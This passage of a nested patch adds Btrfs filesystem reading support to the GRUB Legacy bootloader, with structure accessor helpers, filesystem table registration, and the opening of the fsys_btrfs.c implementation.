-+       return btrfs_key_blockptr(eb, (struct btrfs_key_ptr *)ptr);
-+}
-+
-+static inline void btrfs_set_node_blockptr(struct extent_buffer *eb,
-+                                          int nr, u64 val)
-+{
-+       unsigned long ptr;
-+       ptr = offsetof(struct btrfs_node, ptrs) +
-+               sizeof(struct btrfs_key_ptr) * nr;
-+       btrfs_set_key_blockptr(eb, (struct btrfs_key_ptr *)ptr, val);
-+}
-+
-+static inline u64 btrfs_node_ptr_generation(struct extent_buffer *eb, int nr)
-+{
-+       unsigned long ptr;
-+       ptr = offsetof(struct btrfs_node, ptrs) +
-+               sizeof(struct btrfs_key_ptr) * nr;
-+       return btrfs_key_generation(eb, (struct btrfs_key_ptr *)ptr);
-+}
-+
-+static inline void btrfs_set_node_ptr_generation(struct extent_buffer *eb,
-+                                                int nr, u64 val)
-+{
-+       unsigned long ptr;
-+       ptr = offsetof(struct btrfs_node, ptrs) +
-+               sizeof(struct btrfs_key_ptr) * nr;
-+       btrfs_set_key_generation(eb, (struct btrfs_key_ptr *)ptr, val);
-+}
-+
-+static inline unsigned long btrfs_node_key_ptr_offset(int nr)
-+{
-+       return offsetof(struct btrfs_node, ptrs) +
-+               sizeof(struct btrfs_key_ptr) * nr;
-+}
-+
-+static inline void btrfs_node_key(struct extent_buffer *eb,
-+                                 struct btrfs_disk_key *disk_key, int nr)
-+{
-+       unsigned long ptr;
-+       ptr = btrfs_node_key_ptr_offset(nr);
-+       read_eb_member(eb, (struct btrfs_key_ptr *)ptr,
-+                      struct btrfs_key_ptr, key, disk_key);
-+}
-+
-+/* struct btrfs_item */
-+BTRFS_SETGET_FUNCS(item_offset, struct btrfs_item, offset, 32);
-+BTRFS_SETGET_FUNCS(item_size, struct btrfs_item, size, 32);
-+
-+static inline unsigned long btrfs_item_nr_offset(int nr)
-+{
-+       return offsetof(struct btrfs_leaf, items) +
-+               sizeof(struct btrfs_item) * nr;
-+}
-+
-+static inline struct btrfs_item *btrfs_item_nr(struct extent_buffer *eb,
-+                                              int nr)
-+{
-+       return (struct btrfs_item *)btrfs_item_nr_offset(nr);
-+}
-+
-+static inline u32 btrfs_item_end(struct extent_buffer *eb,
-+                                struct btrfs_item *item)
-+{
-+       return btrfs_item_offset(eb, item) + btrfs_item_size(eb, item);
-+}
-+
-+static inline u32 btrfs_item_end_nr(struct extent_buffer *eb, int nr)
-+{
-+       return btrfs_item_end(eb, btrfs_item_nr(eb, nr));
-+}
-+
-+static inline u32 btrfs_item_offset_nr(struct extent_buffer *eb, int nr)
-+{
-+       return btrfs_item_offset(eb, btrfs_item_nr(eb, nr));
-+}
-+
-+static inline u32 btrfs_item_size_nr(struct extent_buffer *eb, int nr)
-+{
-+       return btrfs_item_size(eb, btrfs_item_nr(eb, nr));
-+}
-+
-+static inline void btrfs_item_key(struct extent_buffer *eb,
-+                          struct btrfs_disk_key *disk_key, int nr)
-+{
-+       struct btrfs_item *item = btrfs_item_nr(eb, nr);
-+       read_eb_member(eb, item, struct btrfs_item, key, disk_key);
-+}
-+
-+/*
-+ * struct btrfs_root_ref
-+ */
-+BTRFS_SETGET_FUNCS(root_ref_dirid, struct btrfs_root_ref, dirid, 64);
-+BTRFS_SETGET_FUNCS(root_ref_sequence, struct btrfs_root_ref, sequence, 64);
-+BTRFS_SETGET_FUNCS(root_ref_name_len, struct btrfs_root_ref, name_len, 16);
-+
-+/* struct btrfs_dir_item */
-+BTRFS_SETGET_FUNCS(dir_data_len, struct btrfs_dir_item, data_len, 16);
-+BTRFS_SETGET_FUNCS(dir_type, struct btrfs_dir_item, type, 8);
-+BTRFS_SETGET_FUNCS(dir_name_len, struct btrfs_dir_item, name_len, 16);
-+BTRFS_SETGET_FUNCS(dir_transid, struct btrfs_dir_item, transid, 64);
-+
-+static inline void btrfs_dir_item_key(struct extent_buffer *eb,
-+                                     struct btrfs_dir_item *item,
-+                                     struct btrfs_disk_key *key)
-+{
-+       read_eb_member(eb, item, struct btrfs_dir_item, location, key);
-+}
-+
-+/* struct btrfs_disk_key */
-+BTRFS_SETGET_STACK_FUNCS(disk_key_objectid, struct btrfs_disk_key,
-+                        objectid, 64);
-+BTRFS_SETGET_STACK_FUNCS(disk_key_offset, struct btrfs_disk_key, offset, 64);
-+BTRFS_SETGET_STACK_FUNCS(disk_key_type, struct btrfs_disk_key, type, 8);
-+
-+static inline void btrfs_disk_key_to_cpu(struct btrfs_key *cpu,
-+                                        struct btrfs_disk_key *disk)
-+{
-+       cpu->offset = le64_to_cpu(disk->offset);
-+       cpu->type = disk->type;
-+       cpu->objectid = le64_to_cpu(disk->objectid);
-+}
-+
-+static inline void btrfs_cpu_key_to_disk(struct btrfs_disk_key *disk,
-+                                        struct btrfs_key *cpu)
-+{
-+       disk->offset = cpu_to_le64(cpu->offset);
-+       disk->type = cpu->type;
-+       disk->objectid = cpu_to_le64(cpu->objectid);
-+}
-+
-+static inline void btrfs_node_key_to_cpu(struct extent_buffer *eb,
-+                                 struct btrfs_key *key, int nr)
-+{
-+       struct btrfs_disk_key disk_key;
-+       btrfs_node_key(eb, &disk_key, nr);
-+       btrfs_disk_key_to_cpu(key, &disk_key);
-+}
-+
-+static inline void btrfs_item_key_to_cpu(struct extent_buffer *eb,
-+                                 struct btrfs_key *key, int nr)
-+{
-+       struct btrfs_disk_key disk_key;
-+       btrfs_item_key(eb, &disk_key, nr);
-+       btrfs_disk_key_to_cpu(key, &disk_key);
-+}
-+
-+static inline void btrfs_dir_item_key_to_cpu(struct extent_buffer *eb,
-+                                     struct btrfs_dir_item *item,
-+                                     struct btrfs_key *key)
-+{
-+       struct btrfs_disk_key disk_key;
-+       btrfs_dir_item_key(eb, item, &disk_key);
-+       btrfs_disk_key_to_cpu(key, &disk_key);
-+}
-+
-+static inline u8 btrfs_key_type(struct btrfs_key *key)
-+{
-+       return key->type;
-+}
-+
-+static inline void btrfs_set_key_type(struct btrfs_key *key, u8 val)
-+{
-+       key->type = val;
-+}
-+
-+static inline u64 btrfs_super_devid(struct btrfs_super_block *disk_super)
-+{
-+	return le64_to_cpu(disk_super->dev_item.devid);
-+}
-+
-+/* struct btrfs_header */
-+BTRFS_SETGET_HEADER_FUNCS(header_bytenr, struct btrfs_header, bytenr, 64);
-+BTRFS_SETGET_HEADER_FUNCS(header_generation, struct btrfs_header,
-+                         generation, 64);
-+BTRFS_SETGET_HEADER_FUNCS(header_owner, struct btrfs_header, owner, 64);
-+BTRFS_SETGET_HEADER_FUNCS(header_nritems, struct btrfs_header, nritems, 32);
-+BTRFS_SETGET_HEADER_FUNCS(header_flags, struct btrfs_header, flags, 64);
-+BTRFS_SETGET_HEADER_FUNCS(header_level, struct btrfs_header, level, 8);
-+
-+/* struct btrfs_root_item */
-+BTRFS_SETGET_FUNCS(disk_root_generation, struct btrfs_root_item,
-+                  generation, 64);
-+BTRFS_SETGET_FUNCS(disk_root_refs, struct btrfs_root_item, refs, 32);
-+BTRFS_SETGET_FUNCS(disk_root_bytenr, struct btrfs_root_item, bytenr, 64);
-+BTRFS_SETGET_FUNCS(disk_root_level, struct btrfs_root_item, level, 8);
-+
-+BTRFS_SETGET_STACK_FUNCS(root_generation, struct btrfs_root_item,
-+                        generation, 64);
-+BTRFS_SETGET_STACK_FUNCS(root_bytenr, struct btrfs_root_item, bytenr, 64);
-+BTRFS_SETGET_STACK_FUNCS(root_level, struct btrfs_root_item, level, 8);
-+BTRFS_SETGET_STACK_FUNCS(root_dirid, struct btrfs_root_item, root_dirid, 64);
-+BTRFS_SETGET_STACK_FUNCS(root_refs, struct btrfs_root_item, refs, 32);
-+BTRFS_SETGET_STACK_FUNCS(root_flags, struct btrfs_root_item, flags, 64);
-+BTRFS_SETGET_STACK_FUNCS(root_used, struct btrfs_root_item, bytes_used, 64);
-+BTRFS_SETGET_STACK_FUNCS(root_limit, struct btrfs_root_item, byte_limit, 64);
-+BTRFS_SETGET_STACK_FUNCS(root_last_snapshot, struct btrfs_root_item,
-+                        last_snapshot, 64);
-+
-+/* struct btrfs_super_block */
-+
-+BTRFS_SETGET_STACK_FUNCS(super_bytenr, struct btrfs_super_block, bytenr, 64);
-+BTRFS_SETGET_STACK_FUNCS(super_flags, struct btrfs_super_block, flags, 64);
-+BTRFS_SETGET_STACK_FUNCS(super_generation, struct btrfs_super_block,
-+                        generation, 64);
-+BTRFS_SETGET_STACK_FUNCS(super_root, struct btrfs_super_block, root, 64);
-+BTRFS_SETGET_STACK_FUNCS(super_sys_array_size,
-+                        struct btrfs_super_block, sys_chunk_array_size, 32);
-+BTRFS_SETGET_STACK_FUNCS(super_chunk_root_generation,
-+                        struct btrfs_super_block, chunk_root_generation, 64);
-+BTRFS_SETGET_STACK_FUNCS(super_root_level, struct btrfs_super_block,
-+                        root_level, 8);
-+BTRFS_SETGET_STACK_FUNCS(super_chunk_root, struct btrfs_super_block,
-+                        chunk_root, 64);
-+BTRFS_SETGET_STACK_FUNCS(super_chunk_root_level, struct btrfs_super_block,
-+                        chunk_root_level, 8);
-+BTRFS_SETGET_STACK_FUNCS(super_log_root, struct btrfs_super_block,
-+                        log_root, 64);
-+BTRFS_SETGET_STACK_FUNCS(super_log_root_transid, struct btrfs_super_block,
-+                        log_root_transid, 64);
-+BTRFS_SETGET_STACK_FUNCS(super_log_root_level, struct btrfs_super_block,
-+                        log_root_level, 8);
-+BTRFS_SETGET_STACK_FUNCS(super_total_bytes, struct btrfs_super_block,
-+                        total_bytes, 64);
-+BTRFS_SETGET_STACK_FUNCS(super_bytes_used, struct btrfs_super_block,
-+                        bytes_used, 64);
-+BTRFS_SETGET_STACK_FUNCS(super_sectorsize, struct btrfs_super_block,
-+                        sectorsize, 32);
-+BTRFS_SETGET_STACK_FUNCS(super_nodesize, struct btrfs_super_block,
-+                        nodesize, 32);
-+BTRFS_SETGET_STACK_FUNCS(super_leafsize, struct btrfs_super_block,
-+                        leafsize, 32);
-+BTRFS_SETGET_STACK_FUNCS(super_stripesize, struct btrfs_super_block,
-+                        stripesize, 32);
-+BTRFS_SETGET_STACK_FUNCS(super_root_dir, struct btrfs_super_block,
-+                        root_dir_objectid, 64);
-+BTRFS_SETGET_STACK_FUNCS(super_num_devices, struct btrfs_super_block,
-+                        num_devices, 64);
-+BTRFS_SETGET_STACK_FUNCS(super_compat_flags, struct btrfs_super_block,
-+                        compat_flags, 64);
-+BTRFS_SETGET_STACK_FUNCS(super_compat_ro_flags, struct btrfs_super_block,
-+                        compat_flags, 64);
-+BTRFS_SETGET_STACK_FUNCS(super_incompat_flags, struct btrfs_super_block,
-+                        incompat_flags, 64);
-+BTRFS_SETGET_STACK_FUNCS(super_csum_type, struct btrfs_super_block,
-+                        csum_type, 16);
-+
-+static inline int btrfs_super_csum_size(struct btrfs_super_block *s)
-+{
-+       int t = btrfs_super_csum_type(s);
-+       //BUG_ON(t >= ARRAY_SIZE(btrfs_csum_sizes));
-+       return btrfs_csum_sizes[t];
-+}
-+
-+static inline unsigned long btrfs_leaf_data(struct extent_buffer *l)
-+{
-+       return offsetof(struct btrfs_leaf, items);
-+}
-+
-+/* struct btrfs_file_extent_item */
-+BTRFS_SETGET_FUNCS(file_extent_type, struct btrfs_file_extent_item, type, 8);
-+
-+static inline unsigned long btrfs_file_extent_inline_start(struct
-+                                                  btrfs_file_extent_item *e)
-+{
-+       unsigned long offset = (unsigned long)e;
-+       offset += offsetof(struct btrfs_file_extent_item, disk_bytenr);
-+       return offset;
-+}
-+
-+static inline u32 btrfs_file_extent_calc_inline_size(u32 datasize)
-+{
-+       return offsetof(struct btrfs_file_extent_item, disk_bytenr) + datasize;
-+}
-+
-+BTRFS_SETGET_FUNCS(file_extent_disk_bytenr, struct btrfs_file_extent_item,
-+                  disk_bytenr, 64);
-+BTRFS_SETGET_FUNCS(file_extent_generation, struct btrfs_file_extent_item,
-+                  generation, 64);
-+BTRFS_SETGET_FUNCS(file_extent_disk_num_bytes, struct btrfs_file_extent_item,
-+                  disk_num_bytes, 64);
-+BTRFS_SETGET_FUNCS(file_extent_offset, struct btrfs_file_extent_item,
-+                 offset, 64);
-+BTRFS_SETGET_FUNCS(file_extent_num_bytes, struct btrfs_file_extent_item,
-+                  num_bytes, 64);
-+BTRFS_SETGET_FUNCS(file_extent_ram_bytes, struct btrfs_file_extent_item,
-+                  ram_bytes, 64);
-+BTRFS_SETGET_FUNCS(file_extent_compression, struct btrfs_file_extent_item,
-+                  compression, 8);
-+BTRFS_SETGET_FUNCS(file_extent_encryption, struct btrfs_file_extent_item,
-+                  encryption, 8);
-+BTRFS_SETGET_FUNCS(file_extent_other_encoding, struct btrfs_file_extent_item,
-+                  other_encoding, 16);
-+
-+/* this returns the number of file bytes represented by the inline item.
-+ * If an item is compressed, this is the uncompressed size
-+ */
-+static inline u32 btrfs_file_extent_inline_len(struct extent_buffer *eb,
-+                                       struct btrfs_file_extent_item *e)
-+{
-+       return btrfs_file_extent_ram_bytes(eb, e);
-+}
-+
-+/*
-+ * this returns the number of bytes used by the item on disk, minus the
-+ * size of any extent headers.  If a file is compressed on disk, this is
-+ * the compressed size
-+ */
-+static inline u32 btrfs_file_extent_inline_item_len(struct extent_buffer *eb,
-+                                                   struct btrfs_item *e)
-+{
-+       unsigned long offset;
-+       offset = offsetof(struct btrfs_file_extent_item, disk_bytenr);
-+       return btrfs_item_size(eb, e) - offset;
-+}
-+
-+static inline u32 btrfs_level_size(struct btrfs_root *root, int level) {
-+       if (level == 0)
-+               return root->leafsize;
-+       return root->nodesize;
-+}
-+
-+static inline u32 btrfs_root_level_size(struct btrfs_super_block *sb) {
-+       return btrfs_super_root_level(sb) == 0 ?
-+               btrfs_super_leafsize(sb) :
-+               btrfs_super_nodesize(sb);
-+}
-+
-+static inline u32 btrfs_chunk_root_level_size(struct btrfs_super_block *sb) {
-+       return btrfs_super_chunk_root_level(sb) == 0 ?
-+               btrfs_super_leafsize(sb) :
-+               btrfs_super_nodesize(sb);
-+}
-+
-+/* helper function to cast into the data area of the leaf. */
-+#define btrfs_item_ptr(leaf, slot, type) \
-+       ((type *)(btrfs_leaf_data(leaf) + \
-+       btrfs_item_offset_nr(leaf, slot)))
-+
-+#define btrfs_item_ptr_offset(leaf, slot) \
-+       ((unsigned long)(btrfs_leaf_data(leaf) + \
-+       btrfs_item_offset_nr(leaf, slot)))
-+
-+/*volumes.h */
-+
-+struct btrfs_fs_devices {
-+       u8 fsid[BTRFS_FSID_SIZE]; /* FS specific uuid */
-+
-+       /* the device with this id has the most recent coyp of the super */
-+       u64 latest_devid;
-+       u64 latest_trans;
-+       u64 lowest_devid;
-+       int latest_bdev;
-+       int lowest_bdev;
-+       int seeding;
-+       struct btrfs_fs_devices *seed;
-+};
-+
-+struct btrfs_bio_stripe {
-+	struct btrfs_device dev;
-+	u64 physical;
-+};
-+
-+#define MAX_NRSTRIPES 8
-+struct btrfs_multi_bio {
-+       int error;
-+       int num_stripes;
-+       struct btrfs_bio_stripe stripes[MAX_NRSTRIPES];
-+};
-+
-+#define btrfs_multi_bio_size(n) (sizeof(struct btrfs_multi_bio) + \
-+                           (sizeof(struct btrfs_bio_stripe) * (n)))
-+
-+static int aux_tree_lookup(struct btrfs_root *root,
-+                          struct btrfs_key *key,
-+                          struct btrfs_path *path);
-+
-+struct cache_extent {
-+       u64 start;
-+       u64 size;
-+};
-+
-+struct map_lookup {
-+       struct cache_extent ce;
-+       u64 type;
-+       int io_align;
-+       int io_width;
-+       int stripe_len;
-+       int sector_size;
-+       int num_stripes;
-+       int sub_stripes;
-+        struct btrfs_bio_stripe stripes[MAX_NRSTRIPES];
-+};
-+
-+/* "VFS" things */
-+
-+/* file types recognized by grub */
-+typedef enum {
-+       BTRFS_REGULAR_FILE,
-+       BTRFS_DIRECTORY_FILE,
-+       BTRFS_SYMLINK_FILE,
-+       BTRFS_UNKNOWN_FILE
-+} btrfs_file_type;
-+
-+static inline int coord_is_root(struct btrfs_root *root,
-+                               struct btrfs_path *path)
-+{
-+       return btrfs_header_bytenr(&path->nodes[0]) ==
-+               btrfs_header_bytenr(&root->node);
-+}
-+
-+static inline btrfs_file_type btrfs_get_file_type (int mode)
-+{
-+       if (S_ISLNK(mode))
-+               return BTRFS_SYMLINK_FILE;
-+       if (S_ISREG(mode))
-+               return BTRFS_REGULAR_FILE;
-+       if (S_ISDIR(mode))
-+               return BTRFS_DIRECTORY_FILE;
-+       return BTRFS_UNKNOWN_FILE;
-+}
-+
-+#define min_t(type,x,y)                                                       \
-+       ({ type __x = (x); type __y = (y); __x < __y ? __x: __y; })
-+#define max_t(type,x,y)                                                       \
-+       ({ type __x = (x); type __y = (y); __x > __y ? __x: __y; })
-+
-+
-+int sys_array_lookup(struct map_lookup *map, u64 logical);
-+int tree_chunk_lookup(struct map_lookup *map,
-+                     u64 logical);
-+int __btrfs_map_block(u64 logical, u64 *length,
-+                     struct btrfs_multi_bio *multi_ret, int mirror_num);
-+int read_tree_block(struct btrfs_root *root,
-+                   struct extent_buffer *eb,
-+                   u64 bytenr, /* logical */
-+                   u32 blocksize,
-+                   u64 parent_transid,
-+                   lookup_pool_id lpid);
-+int check_read_chunk(struct btrfs_key *key,
-+                    struct extent_buffer *leaf,
-+                    struct btrfs_chunk *chunk,
-+                    struct map_lookup *map,
-+                    u64 logical);
-+/*
-+  Local variables:
-+  c-indentation-style: "K&R"
-+  mode-name: "LC"
-+  c-basic-offset: 8
-+  tab-width: 8
-+  fill-column: 80
-+  scroll-step: 1
-+  End:
-+*/
-\ No newline at end of file
-diff -up grub-upstream.wip/stage2/builtins.c.btrfs grub-upstream.wip/stage2/builtins.c
---- grub-upstream.wip/stage2/builtins.c.btrfs	2012-03-20 05:06:49.000000000 +0000
-+++ grub-upstream.wip/stage2/builtins.c	2012-03-20 05:11:13.000000000 +0000
-@@ -2456,6 +2456,16 @@ install_func (char *arg, int flags)
- 	  else
- #endif /* GRUB_UTIL */
- 	    {
-+ 	      /*
-+	       * FIXME: Ugly hack.
-+	       * Do not write to btrfs partition
-+	       * without a help of the file system!
-+	       */
-+ 	      if (!strcmp(fsys_table[fsys_type].name, "btrfs"))
-+ 		{
-+ 		  errnum = ERR_BAD_ARGUMENT;
-+ 		  goto fail;
-+ 		}
- 	      if (! devwrite (saved_sector - part_start, 1, stage2_buffer))
- 		goto fail;
- 	    }
-@@ -4281,6 +4291,7 @@ setup_func (char *arg, int flags)
-     {"jfs",      "/jfs_stage1_5"},
-     {"minix",    "/minix_stage1_5"},
-     {"reiserfs", "/reiserfs_stage1_5"},
-+    {"btrfs",    "/btrfs_stage1_5"},
-     {"vstafs",   "/vstafs_stage1_5"},
-     {"xfs",      "/xfs_stage1_5"}
-   };
-diff -up grub-upstream.wip/stage2/disk_io.c.btrfs grub-upstream.wip/stage2/disk_io.c
---- grub-upstream.wip/stage2/disk_io.c.btrfs	2012-03-20 05:06:49.000000000 +0000
-+++ grub-upstream.wip/stage2/disk_io.c	2012-03-20 05:07:09.000000000 +0000
-@@ -78,6 +78,9 @@ struct fsys_entry fsys_table[NUM_FSYS + 
- # ifdef FSYS_ISO9660
-   {"iso9660", iso9660_mount, iso9660_read, iso9660_dir, 0, 0},
- # endif
-+# ifdef FSYS_BTRFS
-+  {"btrfs", btrfs_mount, btrfs_read, btrfs_dir, 0, btrfs_embed},
-+# endif
-   /* XX FFS should come last as it's superblock is commonly crossing tracks
-      on floppies from track 1 to 2, while others only use 1.  */
- # ifdef FSYS_FFS
-diff -up grub-upstream.wip/stage2/filesys.h.btrfs grub-upstream.wip/stage2/filesys.h
---- grub-upstream.wip/stage2/filesys.h.btrfs	2004-05-14 19:36:43.000000000 +0000
-+++ grub-upstream.wip/stage2/filesys.h	2012-03-20 05:07:09.000000000 +0000
-@@ -77,6 +77,16 @@ int reiserfs_embed (int *start_sector, i
- #define FSYS_REISERFS_NUM 0
- #endif
- 
-+#ifdef FSYS_BTRFS
-+#define FSYS_BTRFS_NUM 1
-+int btrfs_mount (void);
-+int btrfs_read (char *buf, int len);
-+int btrfs_dir (char *dirname);
-+int btrfs_embed (int *start_sector, int needed_sectors);
-+#else
-+#define FSYS_BTRFS_NUM 0
-+#endif
-+
- #ifdef FSYS_VSTAFS
- #define FSYS_VSTAFS_NUM 1
- int vstafs_mount (void);
-@@ -127,8 +137,8 @@ int iso9660_dir (char *dirname);
- #ifndef NUM_FSYS
- #define NUM_FSYS	\
-   (FSYS_FFS_NUM + FSYS_FAT_NUM + FSYS_EXT2FS_NUM + FSYS_MINIX_NUM	\
--   + FSYS_REISERFS_NUM + FSYS_VSTAFS_NUM + FSYS_JFS_NUM + FSYS_XFS_NUM	\
--   + FSYS_TFTP_NUM + FSYS_ISO9660_NUM + FSYS_UFS2_NUM)
-+   + FSYS_REISERFS_NUM + FSYS_BTRFS_NUM + FSYS_VSTAFS_NUM + FSYS_JFS_NUM \
-+   + FSYS_XFS_NUM + FSYS_TFTP_NUM + FSYS_ISO9660_NUM + FSYS_UFS2_NUM)
- #endif
- 
- /* defines for the block filesystem info area */
-diff -up /dev/null grub-upstream.wip/stage2/fsys_btrfs.c
---- /dev/null	2009-06-03 06:46:26.160951000 +0000
-+++ grub-upstream.wip/stage2/fsys_btrfs.c	2012-03-20 05:07:09.000000000 +0000
-@@ -0,0 +1,1820 @@
-+/* fsys_btrfs.c - an implementation for the Btrfs filesystem
-+ *
-+ * Copyright 2009 Red Hat, Inc.  All rights reserved.
-+ *
-+ * This program is free software; you can redistribute it and/or modify
-+ * it under the terms of the GNU General Public License as published by
-+ * the Free Software Foundation; either version 2 of the License, or
-+ * (at your option) any later version.
-+ *
-+ * This program is distributed in the hope that it will be useful,
-+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
-+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-+ * GNU General Public License for more details.
-+ *
-+ * You should have received a copy of the GNU General Public License
-+ * along with this program.  If not, see <http://www.gnu.org/licenses/>.
-+ */
-+
-+#ifdef FSYS_BTRFS
-+
-+#include "shared.h"
-+#include "filesys.h"
-+#include "btrfs.h"
-+
-+#define BTRFS_VERBOSE 0
-+
-+/* Cache layouts */
-+
-+#define LOOKUP_CACHE_BUF_SIZE   (4096)
-+#define LOOKUP_CACHE_SIZE       (LOOKUP_CACHE_BUF_SIZE * LAST_LOOKUP_POOL)
-+#define BTRFS_FS_INFO							\
-+	((struct btrfs_fs_info *)((unsigned long)FSYS_BUF +		\
-+				  LOOKUP_CACHE_SIZE))
-+#define BTRFS_CACHE_SIZE         (sizeof(struct btrfs_fs_info) +	\
-+				  LOOKUP_CACHE_SIZE)
-+#define BTRFS_TREE_ROOT          (&BTRFS_FS_INFO->tree_root)
-+#define BTRFS_CHUNK_ROOT         (&BTRFS_FS_INFO->chunk_root)
-+#define BTRFS_FS_ROOT            (&BTRFS_FS_INFO->fs_root)
-+#define BTRFS_SUPER              (&BTRFS_FS_INFO->sb_copy)
-+#define BTRFS_DEVICES            (&BTRFS_FS_INFO->devices[0])
-+#define BTRFS_FILE_INFO          (&BTRFS_FS_INFO->file_info)
-+#define BTRFS_FILE_INFO_KEY      (&BTRFS_FILE_INFO->key)
-+
-+#define BTRFS_VOLATILE_DEV_CACHE				        \
-+	(&BTRFS_FS_INFO->devices[BTRFS_NUM_CACHED_DEVICES])
-+
-+#define LOOKUP_CACHE_BUF(id) ((char *)((unsigned long)FSYS_BUF +	\
-+				       id * LOOKUP_CACHE_BUF_SIZE))
-+
-+#define noop   do {; } while (0)
-+
-+#if BTRFS_VERBOSE
-+#define btrfs_msg(format, ...) printf(format , ## __VA_ARGS__)
-+#else
-+#define btrfs_msg(format, args...) noop
-+#endif
-+
-+/* compile-time check to make sure we don't overlap
-+   filesystem buffer */
-+static inline void check_btrfs_cache_size(void)
-+{
-+	cassert(BTRFS_CACHE_SIZE <= FSYS_BUFLEN);
-+}
-+
-+static inline u64 btrfs_sb_offset(int mirror)
-+{
-+	u64 start = 16 * 1024;
-+	if (mirror)
-+		return start << (BTRFS_SUPER_MIRROR_SHIFT * mirror);
-+	return BTRFS_SUPER_INFO_OFFSET;
-+}
-+
-+static inline char *grab_lookup_cache(lookup_pool_id lpid)
-+{
-+	char *buf = LOOKUP_CACHE_BUF(lpid);
-+	memset(buf, 0, LOOKUP_CACHE_BUF_SIZE);
-+	return buf;
-+}
-+
-+static inline struct btrfs_path *btrfs_grab_path(lookup_pool_id lpid)
-+{
-+	return &BTRFS_FS_INFO->paths[lpid];
-+}
-+
-+static inline void btrfs_set_path_key(struct btrfs_path *path,
-+				      struct btrfs_key *key)
-+{
-+	btrfs_item_key_to_cpu(&path->nodes[0],
-+			      key,
-+			      path->slots[0]);
-+}
-+
-+static inline void btrfs_update_file_info(struct btrfs_path *path)
-+{
-+	btrfs_set_path_key(path, BTRFS_FILE_INFO_KEY);
-+}
-+
-+static inline void btrfs_set_root_dir_key(struct btrfs_key *key)
-+{
-+	key->objectid = BTRFS_FIRST_FREE_OBJECTID;
-+	btrfs_set_key_type(key, BTRFS_INODE_ITEM_KEY);
-+	key->offset = 0;
-+}
-+
-+static inline void copy_extent_buffer(struct extent_buffer *dst,
-+				      struct extent_buffer *src)
-+{
-+	char *data = dst->data;
-+	memcpy(dst, src, sizeof(*dst));
-+	memcpy(data, src->data, 4096);
-+	dst->data = data;
-+}
-+
-+static inline void move_extent_buffer(struct extent_buffer *dst,
-+				      struct extent_buffer *src)
-+{
-+	memcpy(dst, src, sizeof(*dst));
-+}
-+
-+static inline void init_btrfs_root (struct btrfs_root *root)
-+{
-+	root->node.data = root->data;
-+}
-+
-+static inline void init_btrfs_path(lookup_pool_id lpid)
-+{
-+	struct btrfs_path *path;
-+	path = btrfs_grab_path(lpid);
-+	path->lpid = lpid;
-+}
-+
-+static inline void init_btrfs_info(void)
-+{
-+	int i;
-+	
-+	memset(BTRFS_FS_INFO, 0, sizeof(struct btrfs_fs_info));
-+	for(i = 0; i < LAST_LOOKUP_POOL; i++)
-+		init_btrfs_path(i);
-+	init_btrfs_root(BTRFS_TREE_ROOT);
-+	init_btrfs_root(BTRFS_CHUNK_ROOT);
-+	init_btrfs_root(BTRFS_FS_ROOT);
-+}
-+
-+static void setup_root(struct btrfs_root *root,
-+		       u32 nodesize,
-+		       u32 leafsize,
-+		       u32 sectorsize,
-+		       u32 stripesize,
-+		       u64 objectid)
-+{
-+	root->nodesize = nodesize;
-+	root->leafsize = leafsize;
-+	root->sectorsize = sectorsize;
-+	root->stripesize = stripesize;
-+	root->objectid = objectid;
-+}
-+
-+/*
-+ * Pick up the latest root of a
-+ * tree with specified @objectid
-+ */
-+static int btrfs_find_last_root(struct btrfs_root *tree_root,
-+				u64 objectid,
-+				struct btrfs_root_item *item,
-+				lookup_pool_id lpid)
-+{
-+	int ret;
-+	int slot;
-+	struct btrfs_key search_key;
-+	struct btrfs_key found_key;
-+	struct btrfs_path *path;
-+
-+	search_key.objectid = objectid;
-+	search_key.type = BTRFS_ROOT_ITEM_KEY;
-+	search_key.offset = (u64)-1;
-+	path = btrfs_grab_path(lpid);
-+
-+	ret = aux_tree_lookup(tree_root, &search_key, path);
-+	if (ret < 0)
-+		return 1;
-+	slot = path->slots[0];
-+	WARN_ON(slot == 0);
-+	slot -= 1;
-+	btrfs_item_key_to_cpu(&path->nodes[0], &found_key, slot);
-+	if (found_key.objectid != objectid)
-+		return 1;
-+	
-+	read_extent_buffer(&path->nodes[0], item,
-+			   btrfs_item_ptr_offset(&path->nodes[0], slot),
-+			   sizeof(*item));
-+	return 0;
-+}
-+
-+static int find_setup_root(struct btrfs_root *tree_root,
-+			   u32 nodesize,
-+			   u32 leafsize,
-+			   u32 sectorsize,
-+			   u32 stripesize,
-+			   u64 objectid,
-+			   struct btrfs_root *dest_root,
-+			   u64 bytenr,
-+			   u32 blocksize,
-+			   u64 generation,
-+			   lookup_pool_id lpid)
-+{
-+	int ret;
-+	struct extent_buffer eb;
-+
-+	setup_root(dest_root,
-+		   nodesize,
-+		   leafsize,
-+		   sectorsize,
-+		   stripesize,
-+		   objectid);
-+	if (tree_root) {
-+		/*
-+		 * pick up the latest version
-+		 * of the root we want to set up
-+		 */
-+		ret = btrfs_find_last_root(tree_root, objectid,
-+					   &dest_root->root_item,
-+					   lpid);
-+		if (ret)
-+			return ret;
-+		bytenr = btrfs_root_bytenr(&dest_root->root_item);
-+		blocksize = btrfs_level_size(dest_root,
-+				       btrfs_root_level(&dest_root->root_item));
-+		generation = btrfs_root_generation(&dest_root->root_item);
-+	}
-+	ret = read_tree_block(dest_root,
-+			      &eb,
-+			      bytenr,
-+			      blocksize,
-+			      generation,
-+			      lpid);
-+	if (!ret)
-+		return 1;
-+	copy_extent_buffer(&dest_root->node, &eb);
-+	return 0;
-+}
-+
-+static inline int btrfs_strncmp(const char *cs, const char *ct, int count)
-+{
-+	signed char __res = 0;
-+
-+	while (count) {
-+		if ((__res = *cs - *ct++) != 0 || !*cs++)
-+			break;
-+		count--;
-+	}
-+	return __res;
-+}
-+
-+/*
-+ * the same as devread, but accepts
-+ * device number, start and length.
-+ */
-+static int btrfs_devread(unsigned long drive, unsigned long part,
-+			 unsigned long dev_len, int sector,
-+			 int byte_offset, int byte_len, char *buf)
-+{
-+	if (sector < 0
-+	    || ((sector + ((byte_offset + byte_len - 1) >> SECTOR_BITS))
-+		>= dev_len)) {
-+		errnum = ERR_OUTSIDE_PART;
-+		return 0;
-+	}
-+	sector += byte_offset >> SECTOR_BITS;
-+	byte_offset &= SECTOR_SIZE - 1;
-+#if !defined(STAGE1_5)
-+	if (disk_read_hook && debug)
-+		printf ("<%d, %d, %d>", sector, byte_offset, byte_len);
-+#endif /* !STAGE1_5 */
-+	return rawread(drive, part + sector, byte_offset,
-+		       byte_len, buf);
-+}
-+
-+static int btrfs_check_super(void)
